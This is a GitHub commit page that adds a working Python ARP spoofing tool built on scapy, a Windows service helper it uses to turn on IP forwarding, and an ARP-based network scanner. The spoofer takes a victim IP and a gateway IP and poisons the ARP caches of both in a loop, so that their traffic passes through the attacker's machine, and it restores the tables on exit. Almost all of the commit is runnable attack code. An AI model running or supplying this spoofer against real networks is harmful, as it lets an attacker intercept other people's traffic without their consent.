Skip to content

Commit eff47fa

Browse files
committed
added network scanner & arp spoofer
1 parent 8536d6a commit eff47fa

File tree

3 files changed

+218
-0
lines changed

3 files changed

+218
-0
lines changed

‎arp-spoofer/arp_spoof.py‎

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
fromscapy.allimportEther, ARP, srp, send
2+
importargparse
3+
importtime
4+
importos
5+
importsys
6+
7+
def_enable_linux_iproute():
8+
"""
9+
Enables IP route ( IP Forward ) in linux-based distro
10+
"""
11+
file_path="/proc/sys/net/ipv4/ip_forward"
12+
withopen(file_path) asf:
13+
iff.read() ==1:
14+
# already enabled
15+
return
16+
withopen(file_path, "w") asf:
17+
print(1, file=f)
18+
19+
20+
def_enable_windows_iproute():
21+
"""
22+
Enables IP route (IP Forwarding) in Windows
23+
"""
24+
fromservicesimportWService
25+
# enable Remote Access service
26+
service=WService("RemoteAccess")
27+
service.start()
28+
29+
30+
defenable_ip_route(verbose=True):
31+
"""
32+
Enables IP forwarding
33+
"""
34+
ifverbose:
35+
print("[!] Enabling IP Routing...")
36+
_enable_windows_iproute() if"nt"inos.nameelse_enable_linux_iproute()
37+
ifverbose:
38+
print("[!] IP Routing enabled.")
39+
40+
41+
defget_mac(ip):
42+
ans, _=srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
43+
ifans:
44+
returnans[0][1].src
45+
46+
47+
defspoof(target_ip, host_ip, verbose=True):
48+
"""
49+
Spoofs `target_ip` saying that we are `host_ip`.
50+
it is accomplished by changing the ARP cache of the target (poisoning)
51+
"""
52+
# get the mac address of the target
53+
target_mac=get_mac(target_ip)
54+
# craft the arp 'is-at' operation packet, in other words; an ARP response
55+
# we don't specify 'hwsrc' (source MAC address)
56+
# because by default, 'hwsrc' is the real MAC address of the sender
57+
arp_response=ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
58+
# send the packet
59+
# verbose = 0 means that we send the packet without printing any thing
60+
send(arp_response, verbose=0)
61+
ifverbose:
62+
# get the MAC address of the default interface we are using
63+
self_mac=ARP().hwsrc
64+
print("[+] Sent to{} :{} is-at{}".format(target_ip, host_ip, self_mac))
65+
66+
67+
defrestore(target_ip, host_ip, verbose=True):
68+
"""
69+
Restores the normal process of a regular network
70+
This is done by sending the original informations
71+
(real IP and MAC of `host_ip` ) to `target_ip`
72+
"""
73+
# get the real MAC address of target
74+
target_mac=get_mac(target_ip)
75+
# get the real MAC address of spoofed (gateway, i.e router)
76+
host_mac=get_mac(host_ip)
77+
# crafting the restoring packet
78+
arp_response=ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
79+
# sending the restoring packet
80+
# to restore the network to its normal process
81+
# we send each reply seven times for a good measure (count=7)
82+
send(arp_response, verbose=0, count=7)
83+
ifverbose:
84+
print("[+] Sent to{} :{} is-at{}".format(target_ip, host_ip, host_mac))
85+
86+
87+
if__name__=="__main__":
88+
parser=argparse.ArgumentParser(description="ARP spoof script")
89+
parser.add_argument("target", help="Victim IP Address to ARP poison")
90+
parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
91+
parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)")
92+
args=parser.parse_args()
93+
target, host, verbose=args.target, args.host, args.verbose
94+
95+
enable_ip_route()
96+
try:
97+
whileTrue:
98+
# telling the `target` that we are the `host`
99+
spoof(target, host, verbose)
100+
# telling the `host` that we are the `target`
101+
spoof(host, target, verbose)
102+
# sleep for one second
103+
time.sleep(1)
104+
exceptKeyboardInterrupt:
105+
print("[!] Detected CTRL+C ! restoring the network, please wait...")
106+
restore(target, host)
107+
restore(host, target)

‎arp-spoofer/services.py‎

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
importwin32serviceutil
2+
importtime
3+
4+
5+
classWService:
6+
7+
def__init__(self, service, machine=None, verbose=False):
8+
self.service=service
9+
self.machine=machine
10+
self.verbose=verbose
11+
12+
@property
13+
defrunning(self):
14+
returnwin32serviceutil.QueryServiceStatus(self.service)[1] ==4
15+
16+
defstart(self):
17+
ifnotself.running:
18+
win32serviceutil.StartService(self.service)
19+
time.sleep(1)
20+
ifself.running:
21+
ifself.verbose:
22+
print(f"[+] {self.service} started successfully.")
23+
returnTrue
24+
else:
25+
ifself.verbose:
26+
print(f"[-] Cannot start {self.service}")
27+
returnFalse
28+
elifself.verbose:
29+
print(f"[!] {self.service} is already running.")
30+
31+
defstop(self):
32+
ifself.running:
33+
win32serviceutil.StopService(self.service)
34+
time.sleep(0.5)
35+
ifnotself.running:
36+
ifself.verbose:
37+
print(f"[+] {self.service} stopped successfully.")
38+
returnTrue
39+
else:
40+
ifself.verbose:
41+
print(f"[-] Cannot stop {self.service}")
42+
returnFalse
43+
elifself.verbose:
44+
print(f"[!] {self.service} is not running.")
45+
46+
defrestart(self):
47+
ifself.running:
48+
win32serviceutil.RestartService(self.service)
49+
time.sleep(2)
50+
ifself.running:
51+
ifself.verbose:
52+
print(f"[+] {self.service} restarted successfully.")
53+
returnTrue
54+
else:
55+
ifself.verbose:
56+
print(f"[-] Cannot start {self.service}")
57+
returnFalse
58+
elifself.verbose:
59+
print(f"[!] {self.service} is not running.")
60+
61+
62+
defmain(action, service):
63+
service=WService(service, verbose=True)
64+
ifaction=="start":
65+
service.start()
66+
elifaction=="stop":
67+
service.stop()
68+
elifaction=="restart":
69+
service.restart()
70+
71+
# getattr(remoteAccessService, action, "start")()
72+
73+
if__name__=="__main__":
74+
importargparse
75+
parser=argparse.ArgumentParser(description="Windows Service Handler")
76+
parser.add_argument("service")
77+
parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'",
78+
action="store", required=True, dest="action")
79+
80+
given_args=parser.parse_args()
81+
82+
service, action=given_args.service, given_args.action
83+
84+
main(action, service)
85+

‎network-scanner/network_scanner.py‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
fromscapy.allimportARP, Ether, srp
2+
3+
target_ip="192.168.1.1/24"
4+
# IP Address for the destination
5+
# create ARP packet
6+
arp=ARP(pdst=target_ip)
7+
# create the Ether broadcast packet
8+
# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting
9+
ether=Ether(dst="ff:ff:ff:ff:ff:ff")
10+
# stack them
11+
packet=ether/arp
12+
13+
result=srp(packet, timeout=3, verbose=0)[0]
14+
15+
# a list of clients, we will fill this in the upcoming loop
16+
clients= []
17+
18+
forsent, receivedinresult:
19+
# for each response, append ip and mac address to `clients` list
20+
clients.append({'ip': received.psrc, 'mac': received.hwsrc})
21+
22+
# print clients
23+
print("Available devices in the network:")
24+
print("IP"+" "*18+"MAC")
25+
forclientinclients:
26+
print("{:16}{}".format(client['ip'], client['mac']))

0 commit comments

Comments
(0)